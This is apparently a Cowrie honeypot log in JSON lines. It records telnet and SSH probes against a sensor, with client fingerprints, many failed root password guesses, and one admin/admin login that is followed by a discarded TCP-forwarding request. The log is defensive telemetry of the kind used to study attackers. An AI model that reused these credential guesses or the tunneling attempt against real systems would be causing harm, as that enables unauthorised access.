{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56012,"dst_ip":"159.203.135.109","dst_port":23,"session":"bffdd5ca18ee","protocol":"telnet","message":"New connection: 172.81.62.90:56012 (159.203.135.109:23) [session: bffdd5ca18ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:02.639732Z"}
{"eventid":"cowrie.session.closed","duration":39.043944120407104,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:05.366510Z","src_ip":"172.81.62.90","session":"aa442a24abcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55298,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a5897803c61","protocol":"telnet","message":"New connection: 107.6.151.170:55298 (159.203.135.109:23) [session: 2a5897803c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:18.446026Z"}
{"eventid":"cowrie.session.closed","duration":0.07975244522094727,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:18.525634Z","src_ip":"107.6.151.170","session":"2a5897803c61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56838,"dst_ip":"159.203.135.109","dst_port":23,"session":"709a5ae637ff","protocol":"telnet","message":"New connection: 107.6.151.170:56838 (159.203.135.109:23) [session: 709a5ae637ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:19.000354Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":59880,"dst_ip":"159.203.135.109","dst_port":23,"session":"70c68f9c1950","protocol":"telnet","message":"New connection: 107.6.151.170:59880 (159.203.135.109:23) [session: 70c68f9c1950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:21.533632Z"}
{"eventid":"cowrie.session.closed","duration":39.341110944747925,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:41.980648Z","src_ip":"172.81.62.90","session":"bffdd5ca18ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45524,"dst_ip":"159.203.135.109","dst_port":23,"session":"e26c0736bced","protocol":"telnet","message":"New connection: 128.199.8.54:45524 (159.203.135.109:23) [session: e26c0736bced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:50.314109Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45106,"dst_ip":"159.203.135.109","dst_port":22,"session":"574e830d4c3c","protocol":"ssh","message":"New connection: 27.71.230.31:45106 (159.203.135.109:22) [session: 574e830d4c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:55.464483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:55.992235Z","src_ip":"27.71.230.31","session":"574e830d4c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52888,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd636f8f797e","protocol":"telnet","message":"New connection: 172.81.62.90:52888 (159.203.135.109:23) [session: cd636f8f797e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:56.236499Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:52:57.471538Z","src_ip":"27.71.230.31","session":"574e830d4c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321","message":"login attempt [root/admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:53:03.630052Z","src_ip":"27.71.230.31","session":"574e830d4c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:53:05.696612Z","src_ip":"27.71.230.31","session":"574e830d4c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":47260,"dst_ip":"10.17.0.5","dst_port":23,"session":"05003bc2cdfa","protocol":"telnet","message":"New connection: 94.23.66.112:47260 (10.17.0.5:23) [session: 05003bc2cdfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:53:35.507599Z"}
{"eventid":"cowrie.session.closed","duration":40.62998986244202,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:53:36.866376Z","src_ip":"172.81.62.90","session":"cd636f8f797e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.58099699020386,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:53:42.894974Z","src_ip":"128.199.8.54","session":"e26c0736bced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":40494,"dst_ip":"10.17.0.5","dst_port":23,"session":"034153bebdab","protocol":"telnet","message":"New connection: 94.23.66.112:40494 (10.17.0.5:23) [session: 034153bebdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:53:51.661965Z"}
{"eventid":"cowrie.session.closed","duration":0.00418853759765625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:53:51.666041Z","src_ip":"94.23.66.112","session":"034153bebdab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.99","src_port":48400,"dst_ip":"159.203.135.109","dst_port":23,"session":"de698faa2f91","protocol":"telnet","message":"New connection: 176.65.139.99:48400 (159.203.135.109:23) [session: de698faa2f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:54:02.782450Z"}
{"eventid":"cowrie.session.closed","duration":0.0830836296081543,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:54:02.865407Z","src_ip":"176.65.139.99","session":"de698faa2f91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00196552276611,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:54:19.002157Z","src_ip":"107.6.151.170","session":"709a5ae637ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00373363494873,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:54:21.537261Z","src_ip":"107.6.151.170","session":"70c68f9c1950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48300,"dst_ip":"10.17.0.5","dst_port":22,"session":"73aca34dd07c","protocol":"ssh","message":"New connection: 37.233.85.71:48300 (10.17.0.5:22) [session: 73aca34dd07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:54:22.469249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:54:22.472473Z","src_ip":"37.233.85.71","session":"73aca34dd07c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:54:22.584598Z","src_ip":"37.233.85.71","session":"73aca34dd07c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonechko","message":"login attempt [root/sonechko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:54:22.933302Z","src_ip":"37.233.85.71","session":"73aca34dd07c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:54:24.049046Z","src_ip":"37.233.85.71","session":"73aca34dd07c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.95816922187805,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:54:32.465640Z","src_ip":"94.23.66.112","session":"05003bc2cdfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63940,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d8cc9a770fa","protocol":"ssh","message":"New connection: 87.251.64.176:63940 (10.17.0.5:22) [session: 4d8cc9a770fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:24.509545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:24.514271Z","src_ip":"87.251.64.176","session":"4d8cc9a770fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:24.608595Z","src_ip":"87.251.64.176","session":"4d8cc9a770fa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:24.979366Z","src_ip":"87.251.64.176","session":"4d8cc9a770fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:25.075490Z","session":"4d8cc9a770fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:25.172382Z","src_ip":"87.251.64.176","session":"4d8cc9a770fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:25.270279Z","src_ip":"87.251.64.176","session":"4d8cc9a770fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":52596,"dst_ip":"10.17.0.5","dst_port":22,"session":"932b2aae9f3b","protocol":"ssh","message":"New connection: 103.27.238.114:52596 (10.17.0.5:22) [session: 932b2aae9f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:48.429177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:48.433010Z","src_ip":"103.27.238.114","session":"932b2aae9f3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:48.696192Z","src_ip":"103.27.238.114","session":"932b2aae9f3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"geolog","message":"login attempt [root/geolog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:49.486764Z","src_ip":"103.27.238.114","session":"932b2aae9f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:55:50.751937Z","src_ip":"103.27.238.114","session":"932b2aae9f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34220,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddd0bfacb513","protocol":"telnet","message":"New connection: 128.199.8.54:34220 (159.203.135.109:23) [session: ddd0bfacb513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:56:59.735521Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":57266,"dst_ip":"159.203.135.109","dst_port":22,"session":"970bc126192e","protocol":"ssh","message":"New connection: 109.237.96.109:57266 (159.203.135.109:22) [session: 970bc126192e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:56:59.740657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:56:59.744725Z","src_ip":"109.237.96.109","session":"970bc126192e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:56:59.838251Z","src_ip":"109.237.96.109","session":"970bc126192e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cthueyz","message":"login attempt [root/cthueyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:57:00.133597Z","src_ip":"109.237.96.109","session":"970bc126192e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:57:01.230097Z","src_ip":"109.237.96.109","session":"970bc126192e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.367454290390015,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:57:56.102815Z","src_ip":"128.199.8.54","session":"ddd0bfacb513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":51838,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddce17ca683d","protocol":"ssh","message":"New connection: 176.32.39.21:51838 (10.17.0.5:22) [session: ddce17ca683d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:58:05.209649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:58:05.214769Z","src_ip":"176.32.39.21","session":"ddce17ca683d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:58:05.339927Z","src_ip":"176.32.39.21","session":"ddce17ca683d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatthefuck","message":"login attempt [root/whatthefuck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:58:05.718165Z","src_ip":"176.32.39.21","session":"ddce17ca683d","protocol":"ssh"}
